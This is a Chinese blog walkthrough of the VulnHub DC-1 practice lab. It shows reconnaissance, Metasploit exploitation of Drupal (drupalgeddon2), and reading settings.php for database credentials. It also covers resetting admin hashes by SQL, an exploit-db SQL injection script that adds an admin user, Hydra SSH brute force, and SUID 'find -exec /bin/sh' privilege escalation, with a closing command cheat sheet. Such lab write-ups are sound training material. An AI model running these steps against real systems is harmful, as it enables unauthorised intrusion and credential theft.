DC-1靶机详细渗透过程

1.靶机部署

kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://download.vulnhub.com/dc/DC-1.zip
解压后得到一个.ova的文件:
image.png
使用VMware打开该文件:
image.png
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
image.png
导入成功,打开虚拟机,到此虚拟机部署完成!
image.png
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。

2.渗透过程

打开kali,为了便于操作,建议使用root用户登录kali。

2.1 信息收集

2.1.1 探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scan -l

image.png

netdiscover

image.png
ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0

nmap -sP 192.168.11.0/24

image.png
如果是真实的生产环境中,我们需要对存活的IP进行进一步的扫描和排查,最终才能确定我们要测试的目标,但本次是练习使用,我们直接可以查看靶机的Mac地址,更快的帮助我们确定靶机的IP。
image.png
确定了DC主机的IP地址为:

192.168.11.129  00:0c:29:66:56:4f       VMware, Inc.

2.1.2 探测IP开放的端口

用nmap探测一下:

nmap -sV -p- 192.168.11.129

-sV  扫描目标主机端口上运行的软件信息
-p-  扫描全部端口0-65535

image.png
20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看
image.png
利用wappalyzer插件或者经验判断一下,网页cms为Drupal
image.png
也可以使用kali自带的whatweb扫一下:

whatweb -v 192.168.11.129

image.png
再用dirsearch扫描一下目录:

dirsearch -u 192.168.11.129 -e *

image.png
还是扫出了挺多目录的,但是暂时用不到,先放一放

2.1.3 信息总结

  • IP:192.168.11.129
  • 开放端口:22,80,111等
  • CMS:Drupal
  • 服务器:Apache 2.2.22
  • 操作系统:Debian
  • 编程语言:PHP 5.4.45
  • JavaScript库:jQuery 1.4.4

2.2 漏洞查找与利用

知道网站CMS是Drupal之后,一般从Drupal出发,百度一下之后发现漏洞还是很多的。
image.png

2.2.1 漏洞查找

使用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一)查找一下漏洞,打开工具:

msfconsole

image.png
查找漏洞:

search Drupal

image.png
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的
excellent:极好的
normal:正常的

2.2.2 漏洞利用

我么选择一个最新的、极好的漏洞进行使用:

use exploit/unix/webapp/drupal_drupalgeddon2
或
use 1

说明:命令   "use  <编号>""use  <载荷名称>"  都可以使用该模块

image.png
查看一下模块参数:

show options 
  • Name:参数名称
  • Current Setting:目前设置的内容
  • Required:是否需要设置内容,yes为必须设置,no可以设置也可不设置
  • Description:说明

image.png
设置RHOST的内容,也就是我们要攻击的目标IP:

set rhosts 192.168.11.129

image.png
设置好之后开始攻击:

run
或
exploit

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell
image.png

2.3 Getshall

2.3.1 获取普通shell

shell

image.png
执行ls命令:
image.png

2.3.2 获取交互shell

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python
解释:
pty模块是一个虚拟终端库。也可以虚拟出一个串口。在嵌入式开发过程中,你一定有这样一种需求:想在虚拟机上调试串口的通信。那么这个pty库是可以满足你的需求的。

python -c 'import pty; pty.spawn("/bin/bash")'

image.png
可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件
image.png
查看flaf1.txt:

Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件——你也一样。

image.png
这个先放着,看看还有没有其他flag文件:
image.png
好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行:

可以看到有个flag2,还有数据库的一些信息:

Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?


暴力和字典攻击不是
*获取访问权限的唯一途径(你将需要访问权限)。
*你能用这些证书做什么?
cat `find / -name settings.php`

image.png

2.4 数据库渗透

mysql -udbuser -pR0ck3t

给了数据库的账号和密码,登录看看:
image.png
登录成功后,找找有没有有用的信息,经验告诉我们先找敏感字样的地方:

show databases;

image.png

use drupaldb;
show tables;

image.png
发现敏感字段,看一下里面有什么:

select * from users\G;

image.png
得到两个用户:

 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码是经过加密的,所以这里有两种办法,修改密码或者添加一个用户

2.4.1 修改admin的密码

想要修改密码咱们得生成一个跟人家原来的密码一样的一个加密算法的密码:
Drupal的加密脚本在:

/var/www/scripts/password-hash.sh

退出数据库:

exit;

打开加密脚本:

cat /var/www/scripts/password-hash.sh

image.png
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 :

php /var/www/scripts/password-hash.sh 123456

image.png
得到加密后的密码, 接着我们登入mysql修改一下admin的密码,为了保险起见,将Fred的密码也一起修改了:


use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

image.png

2.4.2 添加admin权限用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
image.png
添加一个用户:

python3 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.11.129 -u test -p test

image.png

2.4.3 登录网站

使用我们得到的密码登录网站:
这里用的是修改过的密码: admin 123456
image.png
找到flag3,进去看看:
image.pngimage.png

  • Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
  • 特殊的PERMS将帮助查找passwd -但您需要-exec该命令来找出如何获取阴影中的内容。

他提示我们passewd文件和shadow文件,众所周知这是linux文件,回到shell查看:
image.png
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

2.5 密码爆破

利用工具Hydra爆破flag4的密码:

hydra -l flag4 -P passwd.txt ssh://192.168.11.129 

image.png
利用爆破得到的密码进行ssh连接:

ssh flag4@192.168.11.129

image.png
发现flag4,查看内容,发现也没什么用:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?


您可以使用相同的方法在根目录中查找或访问标志吗?
可能。但也许并没有那么容易。也许是这样?

image.png

2.6 Linux提权

[详情]
利用find命令,查找具有SUID权限的可执行二进制文件:

find / -perm -u=s -type f 2>/dev/null

image.png
find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上 -exec “/bin/sh” ;
image.png
可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦!

cd /root
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

做得好! !
希望你喜欢这篇文章并学到了一些新技能。
你可以告诉我你对这次旅行的看法
通过推特@DCAU7联系我

image.png

3.收获总结

3.1 主机扫描

  • nmap
nmap -sP 网段
  • arp-scan
arp-scan -l
  • netdiscover
netdiscover

3.2 域名信息收集

  • whatweb
whatweb -v 域名
  • dirsearch
dirsearch -u 域名

3.3 CMS漏洞查找及利用

  • Metasploit
    • 打开MSF控制台
      • msfconsole
    • 搜索CMS漏洞
      • search cms名
    • 使用模块
      • use 漏洞模块名或序号
    • 显示模块参数
      • show options
    • 设置模块参数
      • set 模块参数名 参数值
    • 开始攻击
      • run(或exploit)

3.4 Getshell

使用MSF攻击等待主机与目标连接完成后
通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'

3.5 Linux相关

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

  • /etc/passwd

    • 存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
  • /etc/shadow

    • 存储有用户的密码等信息,需要root用户才能访问

3.6 密码爆破与SSH

爆破工具Hydra
以爆破SSH为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用kali登入

ssh 用户名@目标攻击主机

3.7 Linux系统的SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤
再选择相关命令进行提权,以find为例(用得最多)
先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \;
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小秋LY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值